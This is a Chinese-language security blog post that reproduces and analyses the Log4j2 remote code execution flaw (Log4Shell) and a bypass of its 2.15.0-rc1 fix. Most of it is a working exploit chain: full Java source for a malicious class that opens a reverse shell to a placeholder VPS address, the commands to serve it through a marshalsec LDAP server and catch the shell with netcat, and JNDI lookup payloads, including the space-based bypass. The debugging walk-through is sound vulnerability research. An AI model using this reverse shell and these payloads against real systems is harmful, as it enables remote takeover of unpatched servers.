前端时间爆出的Log4j2_RCE漏洞可谓是让安全圈提前过年,今天来复现和简单分析下这个漏洞!
漏洞复现IDEA创建一个web项目,导入如下依赖
org.apache.logging.log4j log4j-core2.12.0 org.apache.logging.log4j log4j-api2.12.0
编写恶意类放到 vps 上
import java.io.File; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class JNDIObject { static { try{ String ip = "your-vps-ip"; String port = "443"; String py_path = null; String[] cmd; if (!System.getProperty("os.name").toLowerCase().contains("windows")) { String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; for(int i = 0; i < py_envs.length; ++i) { String py = py_envs[i]; if ((new File(py)).exists()) { py_path = py; break; } } if (py_path != null) { if ((new File("/bin/bash")).exists()) { cmd = new String[]{py_path, "-c", "import pty;pty.spawn("/bin/bash")"}; } else { cmd = new String[]{py_path, "-c", "import pty;pty.spawn("/bin/sh")"}; } } else { if ((new File("/bin/bash")).exists()) { cmd = new String[]{"/bin/bash"}; } else { cmd = new String[]{"/bin/sh"}; } } } else { cmd = new String[]{"cmd.exe"}; } Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); Socket s = new Socket(ip, Integer.parseInt(port)); InputStream pi = p.getInputStream(); InputStream pe = p.getErrorStream(); InputStream si = s.getInputStream(); OutputStream po = p.getOutputStream(); OutputStream so = s.getOutputStream(); while(!s.isClosed()) { while(pi.available() > 0) { so.write(pi.read()); } while(pe.available() > 0) { so.write(pe.read()); } while(si.available() > 0) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50L); try { p.exitValue(); break; } catch (Exception e) { } } p.destroy(); s.close(); }catch (Throwable e){ e.printStackTrace(); } } }
-
使用 javac -source 1.5 -target 1.5 JNDIObject.java 兼容性编译恶意类
-
用 python3 -m http.server 80 命令以恶意类所在目录为根目录开启一个web服务
-
再用 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 8080 命令在 vps 上开启 JNDI 服务
-
用 nc -lvnp 443 命令在 vps 上监听443端口
-
最后在本机上运行如下代码即可反d shell
package com.sec.example; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import sun.applet.Main; public class log4j { private static Logger LOG=LogManager.getLogger(Main.class); public static void main(String[] args) { LOG.error("aaa${jndi:ldap://your-vps-ip:8080/JNDIObject}"); } }
在 PatternLayout$PatternSerializer#toSerializable 方法上会循环遍历 formatters 数组里的值,并调用其 format 方法
看一下 formatters 数组的值,漏洞触发点在第八个值上(为MessagePatternConverter),那么程序就会调用MessagePatternConverter#format 方法
在 MessagePatternConverter#format 下断点,程序会停在此方法上,此方法判断日志输出内容是否存在 ${} 结构,如果存在则调用 replace 方法对日志内容进行处理
经过一系列方法调用,来到 StrSubstitutor#substitute 方法,此方法中调用 resolveVariable 方法,此时参数 varName 为 ${} 里的值
跟进 resolveVariable 方法,此时调用 lookup 方法,而参数 variableName 正是日志输出中被 ${} 包裹着的值
下面是函数调用栈
在漏洞出来后,官网发布 2.15.0-rc1 版本进行修复,然而还是被绕过
第一处修复是在 PatternLayout#toSerializable 方法上,formatters 数组的第八个值变为了MessagePatternConverter$SimpleMessagePatternConverter 内部类,那么程序会调用SimpleMessagePatternConverter#format 方法
而 SimpleMessagePatternConverter#format 方法没有解析 ${} 的 *** 作了,变为了拼接 *** 作
研究者发现 MessagePatternConverter$LookupMessagePatternConverter 内部类依然存在解析 ${} *** 作,那么怎么让数组第八个值为 LookupMessagePatternConverter 内部类呢?看到 MessagePatternConverter#newInstance 方法,当用户开启 lookup 功能时(此版本已经默认关闭),数组第八个值则为 LookupMessagePatternConverter 内部类
那么手工开启一下 lookup 然后继续跟进
public class log4j { private static Logger LOG=LogManager.getLogger(Main.class); public static void main(String[] args) { final Configuration config = new DefaultConfigurationBuilder().build(true); // 配置开启lookup功能 final MessagePatternConverter converter = MessagePatternConverter.newInstance(config, new String[] {"lookups"}); final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:8080/ JNDIObject}"); final LogEvent event = Log4jLogEvent.newBuilder() .setLoggerName("MyLogger") .setLevel(Level.DEBUG) .setMessage(msg).build(); final StringBuilder sb = new StringBuilder(); converter.format(event, sb); System.out.println(sb); } }
后面的逻辑都没变,跟进到 JndiManager#lookup 方法,此处进行了远程协议和主机等过滤,
主机只允许本地ip,协议允许 java/ldap/ldaps ,那么怎么绕过呢?这一块代码做了 try cache 处理,当报错时会直接 cache 处理然后继续 lookup *** 作,这样只需要构造一个让程序报错,但是在 lookup 时是正常的 jndi 地址。研究者发现空格可以实现这个功能!
public synchronizedT lookup(final String name) throws NamingException { try { URI uri = new URI(name); if (uri.getScheme() != null) { if (!this.allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) { LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme()); return null; } if ("ldap".equalsIgnoreCase(uri.getScheme()) || "ldaps".equalsIgnoreCase(uri.getScheme())) { if (!this.allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null; } Attributes attributes = this.context.getAttributes(name); if (attributes != null) { Map attributeMap = new HashMap(); NamingEnumeration enumeration = attributes.getAll(); Attribute classNameAttr; while(enumeration.hasMore()) { classNameAttr = (Attribute)enumeration.next(); attributeMap.put(classNameAttr.getID(), classNameAttr); } classNameAttr = (Attribute)attributeMap.get("javaClassName"); if (attributeMap.get("javaSerializedData") != null) { if (classNameAttr == null) { LOGGER.warn("No class name provided for {}", name); return null; } String className = classNameAttr.get().toString(); if (!this.allowedClasses.contains(className)) { LOGGER.warn("Deserialization of {} is not allowed", className); return null; } } else if (attributeMap.get("javaReferenceAddress") != null || attributeMap.get("javaFactory") != null) { LOGGER.warn("Referenceable class is not allowed for {}", name); return null; } } } } } catch (URISyntaxException var8) { LOGGER.warn("Invalid JNDI URI - {}", name); } return this.context.lookup(name); }
最终构造如下
public class log4j { private static Logger LOG=LogManager.getLogger(Main.class); public static void main(String[] args) { final Configuration config = new DefaultConfigurationBuilder().build(true); // 配置开启lookup功能 final MessagePatternConverter converter = MessagePatternConverter.newInstance(config, new String[] {"lookups"}); final Message msg = new ParameterizedMessage("${jndi:ldap://your-vps-ip:8080/ JNDIObject}"); final LogEvent event = Log4jLogEvent.newBuilder() .setLoggerName("MyLogger") .setLevel(Level.DEBUG) .setMessage(msg).build(); final StringBuilder sb = new StringBuilder(); converter.format(event, sb); System.out.println(sb); } }RC2修复
在 try 捕捉到异常时直接 return 返回了
https://xz.aliyun.com/t/10649#toc-2
https://bbs.ichunqiu.com/thread-62322-1-1.html
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)